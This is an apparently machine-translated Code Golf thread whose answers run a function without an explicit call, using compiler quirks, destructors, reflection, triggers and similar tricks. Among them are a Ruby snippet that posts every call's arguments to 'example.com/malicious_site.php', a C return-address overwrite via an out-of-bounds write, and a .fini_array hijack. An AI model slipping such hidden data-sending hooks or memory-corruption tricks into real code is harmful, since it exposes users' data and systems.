Викликати метод, не викликаючи його [закрито]


77

Натхненний видаленим запитом StackOverflow . Чи можете ви придумати спосіб виконання певного методу, не вимагаючи явного його виклику? Чим вона більше непряма, тим краще.

Ось що я саме маю на увазі (C використовується лише для прикладу, всі мови прийняті):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Оригінальне запитання: введіть тут опис зображення


58
+10471 ... приємно
qwr

29
Цікаво, скільки повторень вам потрібно, щоб переповнювати переповнення стека?
PyRulez

34
Мабуть, це сценарій екрана з облікового запису @Mysticial , бачачи аватар. Mysticial, могли б ви догоджаєте просто натисніть на вкладці повторень?!?!?!
Дверна ручка

4
@Doorknob Чому він повинен? Все це виходить з однієї відповіді.
FDinoff

8
@PyRulez Джон Скит ще не включена , так що ми в безпеці зараз .
Коул Джонсон

Відповіді:


109

С

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

Коли компілюється з GCC, компілятор заміняється printf("Goodbye!\n")на puts("Goodbye!"), що є більш простим і повинен бути еквівалентним. Я підхоплююче надав свою власну putsфункцію, так що вона називається замість цього.


1
@ user17752 Це насправді перетворення GCC робить навіть при -O0. (GCC 4.8, в будь-якому випадку. Можливо, інші версії потребують деяких інших варіантів.)
hvd,

1
вибачте, моя помилка, забув, що я використовував кланг на моєму macbook.
DarkHeart

@ user17752 Дякую, я не тестував інших компіляторів, приємно знати, що в кланге принаймні є можливість отримати те саме перетворення.
hvd

Вітаємо! Переможець - це ти!

84

Ну, як зловмисне програмне забезпечення здатне виконувати функції, які не викликаються в коді? Переповнюючи буфери!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

У моїй системі зворотна адреса випадків mainзберігається на 3 слова вище першої локальної змінної. Розшифровуючи цю зворотну адресу з адресою іншої функції, main"повертається" до цієї функції. Якщо ви хочете відтворити цю поведінку в іншій системі, можливо, вам доведеться змінити 3 на інше значення.


Побийте мене (+1) - це очевидне рішення C.
Комінтерн

20
Використовуйте <!-- language: lang-c -->два рядки перед кодом, щоб виділити його.
Віктор Стафуса

9
Всі привіт @Victor, герой виділення синтаксису!
Джейсон C

@Victor це офіційно підтверджено? Якщо так, то де?
Thorbjørn Ravn Andersen



56

Пітон 2

>>> def func(*args):
        print('somebody called me?')

Ось деякі способи, натхненні іншими відповідями:

  1. виконання коду безпосередньо

    >>> exec(func.func_code) # just the code, not a call
    somebody called me?
    

    Це найкращий спосіб дійсно не викликати функцію.

  2. за допомогою деструктора

    >>> class X(object):pass
    >>> x = X()
    >>> X.__del__ = func # let  the garbage collector do the call
    >>> del x
    somebody called me?
    
  3. Використання std I / O

    >>> x.write = func # from above
    >>> import sys
    >>> a = sys.stderr
    >>> sys.stderr = x
    >>> asdjkadjls
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    somebody called me?
    >>> sys.stderr = a # back to normality
    
  4. використовуючи пошук атрибутів

    >>> x = X() # from above
    >>> x.__get__ = func
    >>> X.x = x
    >>> x.x # __get__ of class attributes
    somebody called me?
    <__main__.X object at 0x02BB1510>
    >>> X.__getattr__ = func
    >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
    somebody called me?
    >>> X.__getattribute__ = func
    >>> x.__class__ # any attribute
    somebody called me?
    
  5. Механізм імпорту

    >>> __builtins__.__import__ = func
    >>> import os # important module!
    somebody called me?
    >>> os is None
    True
    

    Ну, мабуть, це все .. Я зараз нічого не можу імпортувати. Не чекайте ..

  6. Використання дужок get-item []

    >>> class Y(dict): pass
    >>> Y.__getitem__ = func
    >>> d = Y()
    >>> d[1] # that is easy
    somebody called me?
    
  7. Використання глобальних змінних. Мій улюблений!

    >>> exec "hello;hello" in d # from above
    somebody called me?
    somebody called me?
    

    helloце доступ до d['hello']. Після цього світ здається сірим.

  8. Мета-класи;)

    >>> class T(type): pass
    >>> T.__init__ = func
    >>> class A:
        __metaclass__ = T
    somebody called me?
    
  9. Використання ітераторів (ви можете перевантажувати будь-якого оператора та використовувати його)

    >>> class X(object): pass
    >>> x = X()
    >>> X.__iter__ = func
    >>> for i in x: pass # only once with error
    somebody called me?
    
    >>> X.__iter__ = lambda a: x 
    >>> X.next = func
    >>> for i in x: pass # endlessly!
    somebody called me?
    somebody called me?
    somebody called me?
    ...
    
  10. Помилки!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    
  11. Каркаси передзвонюють вам. Практично кожен графічний інтерфейс має цю функціональність.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    
  12. Виконати рядок джерела (функція повинна бути у файлі)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    
  13. Декоратори

    >>> @func
    def nothing():pass
    sombody called me?
    
  14. з десерталізацією соління (найменше фаворити, що надходять)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    
  15. Використання серіалізації

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

Більше відповідей Python:


1
Приємна колекція, але ви забули про нитки . ;)
nyuszika7h

Ця відповідь абсурдна. +1
астері

Це python 3
Braden Best

1
Багато з цих прикладів також працюють з Python 3. Показаний мета-клас та підвищення винятків не працюють у Python 3.
Користувач

22

Javascript

Цей використовується JSFuck для брудної роботи.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

54
Я думаю, що це кваліфікується як явний виклик функції. Просто дуже заплутаний.
примо

3
@primo, це буде побудувати рядок javascript для виконання та придбати об'єкт Функція, щоб викликати його. Але для цього використовується неявна конверсія між типами; наприклад "", це рядок і []оцінюється до 0, тому ""[[]]не визначено і ""[[]]+""є "невизначеним". Звідти ви можете витягнути окремі букви: (""[[]]+"")[[]]є "u". Тож це більше як хак викликати exec з довільним кодом. Я думаю, що це має значення?
Філ Х

1
@PhilH Я розумію, як це працює. Видаліть останні дві круглі дужки: function anonymous() { x() }.
примо

22

Пітон

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

Це задається the_functionяк функція профілювання, внаслідок чого вона виконується під час кожного виклику та повернення функції.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Це Python?
Hosch250

@ user2509848 Так, я забув це згадати.
grc

Відповідь, що не відповідає С! Я хотів би побачити більше: D

@Johnsyweb Будь ласка, дивіться meta.codegolf.stackexchange.com/q/1109/9498 . Немає необхідності редагувати кожне повідомлення, щоб включати виділення синтаксису, особливо якщо це ледь впливає на вигляд коду (наприклад, короткий код).
Джастін

@Quincunx: Визнано ☻
Johnsyweb

18

C #

Ми можемо зловживати DLR завжди виконувати якийсь код, коли ви намагаєтеся викликати будь-який метод у класі. Це дещо менш дешево / очевидно, ніж такі рішення, як делегати, рефлексії, статичні конструктори тощо, тому що виконаний метод не тільки ніколи не викликається, а й навіть не посилається , навіть не назвою.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

Це завжди друкує "Ха! Обдурив тебе!" незалежно від того, на що ви намагаєтеся покликатись a. Тож я міг так само легко писати, a.SuperCaliFragilisticExpiAlidocious()і це зробило б те саме.


17

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

Це дуже прямо, але це, звичайно, не заклик до цього hello_world, навіть якщо функція виконує.


16

Рубін

Натхненний Ват .

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

16

С

Ви можете зареєструвати функцію, яку потрібно викликати в кінці програми на C, якщо це відповідає вашим потребам:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

15

Java

Спробував це з Java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

Метод secretMethodNotCalledInMainвикликається лише відображенням, і я не шукаю нічого, що називається secretMethodNotCalledInMain(натомість я шукаю все, що не називається main). Крім того, відбиваюча частина коду викликається поза mainметодом, коли запускається обробник винятків JDK.

Ось моя інформація про JVM:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Ось результат моєї програми:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

Я не очікував, що ті, хто NullPointerExceptionбуде викинутий з рідного коду, обробляють роздуми. Але, як згадував @ johnchen902, це тому, що він успадковує деякі методи від, java.lang.Objectі я в кінцевому підсумку викликав їх на nulls.


Це NPEне помилка JDK. Вони кинуті через те, що ви намагалися викликати методи екземпляра, оголошені у вигляді, java.lang.Objectнаприклад, toString()з null.
johnchen902

@ johnchen902 О, звичайно. Дякую. Я її відредагував.
Віктор Стафуса

14

C ++

Один із способів C ++ полягає в конструкторі та / або деструкторі статичного об'єкта:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

1
Я також думав про перевантаження нового та видалення , але думаю, що трьох відповідей достатньо :)
fredoverflow

Чи вважаються конструктори / деструктори "методами" в С ++? У .NET та Java вони фактично іншого типу учасників. Ви не можете безпосередньо зателефонувати на статичний ctor, навіть якщо хочете ...
Aaronaught

@Aaronaught: Ніщо не вважається "методом" в C ++ (принаймні, хтось, хто знає, про що вони говорять). Конструктори та деструктори - це функції членів. Хоча вони є "спеціальними" функціями-членами (наприклад, конструктори не мають імен, тому ви не можете викликати їх безпосередньо).
Джеррі Труну

Ну, я використовував цей термін лише тому, що ОП зробив. Я знаю, що C / C ++ і майже всі інші мови, які не є Java / .NET, мають функції, а не методи. Але важливим моментом є те, що на них не можна звернутися безпосередньо. Ви можете стверджувати, що конструктор екземплярів технічно викликається безпосередньо new, і тому було б цікавою відповіддю мати спосіб викликати один без нього new . Але я не знаю, статичні конструктори відчувають, як трохи обман.
Aaronaught

@Aaronaught Якщо ви хочете зателефонувати конструктору на вже виділений фрагмент пам'яті, ви можете написати new (p) foo(). І ви можете знищити об'єкт, не звільняючи пам'ять через p->~foo().
fredoverflow

12

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Вихід:

Hello World!

Для того, щоб зв’язати метод, нам потрібно скомпілювати printf () десь у програмі, але його не потрібно насправді викликати. Функції printf () та main () розташовані на відстані 276 байтів один від одного в сегменті коду. Це значення зміниться на основі ОС та компілятора. Ви можете знайти фактичні адреси у вашій системі за допомогою цього коду, а потім просто відняти їх:

printf("%d %d\n", &printf, &main);

4
*, Перш ніж mainдійсно збиває з пантелику і непотрібним. mainце функція, яку ви не можете перенаправити, тому вона неявно розпадається на покажчик функції, який потім перенаправляється, щоб знову отримати функцію. Ви не можете відняти цілу функцію від функції, тому вона знову розпадається на покажчик функції. Ви також можете написати (*****main-276);) Ви, мабуть, мали намір написати (&main-276)чи (*(main-276))замість цього.
fredoverflow

6
The * before main is really confusing and unnecessary.- Хіба це взагалі не добре на цьому сайті?
Джеймс Вебстер

Я був під враженням, що стандарт сказав, що добре сформована програма не використовуватиме main, але зараз її знайти не можу ...
Damon

3
ви явно називаєте це
затуманеною

9

C (з вбудованою зоною GCC)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

Це призведе до того, що деякий код, що випромінюється GCC, опиниться в іншому сегменті файлу об'єкта, що фактично змусить контрольний потік "пропустити" функцію__. Зауважте, що це не працює, якщо GCC вирішує змінити функції, очевидно. Тестували за допомогою GCC 3.4.6 на MirBSD-current / i386, використовуючи -O2. (Крім того, воно -gвиводить з ладу, збирається з помилками ☺)


8

PHP ≥5.4.0

Це рішення, безумовно, жахливий безлад, але він виконує поставлене йому завдання (не було умови, наскільки добре він повинен виконувати).

Функція дзвонити без виклику :

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

Рішення :

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Приклад :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Можливі виходи:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Пояснення :

Коли буде викликано, executeFunction()прочитає вміст файлу, що виконується в даний час (це означає, що це призначено лише для запуску з CLI, як він використовується $argv), розбере аргументи та тіло вказаної функції, зламає все назад разом у новий фрагмент код, eval()все це, і повернути результат. У результаті getRandomString()виходить, що ніколи насправді не викликається, ні прямо, ні побічно, але код у тілі функції все ще виконується.


Ну, чи створюється __construct()метод методу в PHP, оскільки ви ніколи не викликаєте функцію безпосередньо, а використовуєте new Something()натомість?
Дамір Касіпович

@ D.Kasipovic Начебто, можна стверджувати, що ви все-таки безпосередньо посилаєтесь на нього, просто по-іншому. Я вибрав свій сучасний підхід, тому що мені подобається думати поза межами. Я міг щойно зареєструвати цю функцію як зворотний дзвінок до register_tick_function(), register_shutdown_function()або spl_autoload_register()подібний до відповіді Python @ grc, але я відчуваю, що це "обман" і простий вихід.
Тоні Елліс


7

T-SQL

Це вбудована функція. Тригери на виграш!

Якщо ви дійсно хочете розважитися цим, створіть купу INSTEAD OF тригерів у День дурня.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Результати:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Дуже прикро. Такий люльс. Ого.

Тинкер розширив його на SQLFiddle.


2
Тригери завжди отримують мене, як розробника додатків, я ніколи їх не очікую.
Матвій

7

JavaScript

У консолі Firefox:

    this.toString = function(){alert('Wow')};

Тоді просто почніть вводити що-небудь у консолі - Firefox дзвонить .toString()кілька разів, коли ви набираєте консоль.

Аналогічний підхід:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

С

Вибір платформи - Linux. Ми не можемо викликати нашу функцію, тому замість цього ми змусимо наш посилання:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

Як отримати магічну адресу?

Ми покладаємось на стандартну базову специфікацію Linux, яка говорить:

.fini_array

Цей розділ містить масив функціональних покажчиків, що сприяє одному масиву завершення виконуваного або спільного об'єкта, що містить розділ.

  1. Складіть код:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. Вивчіть адресу .fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. Знайдіть його VMA:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

і замініть це значення на ADDRESS.


5

VB6 та VBA

Не впевнений, кваліфікується це чи ні, оскільки він викликає метод класу:

Це стосується модуля класу:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

А це "дзвінкий" код:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
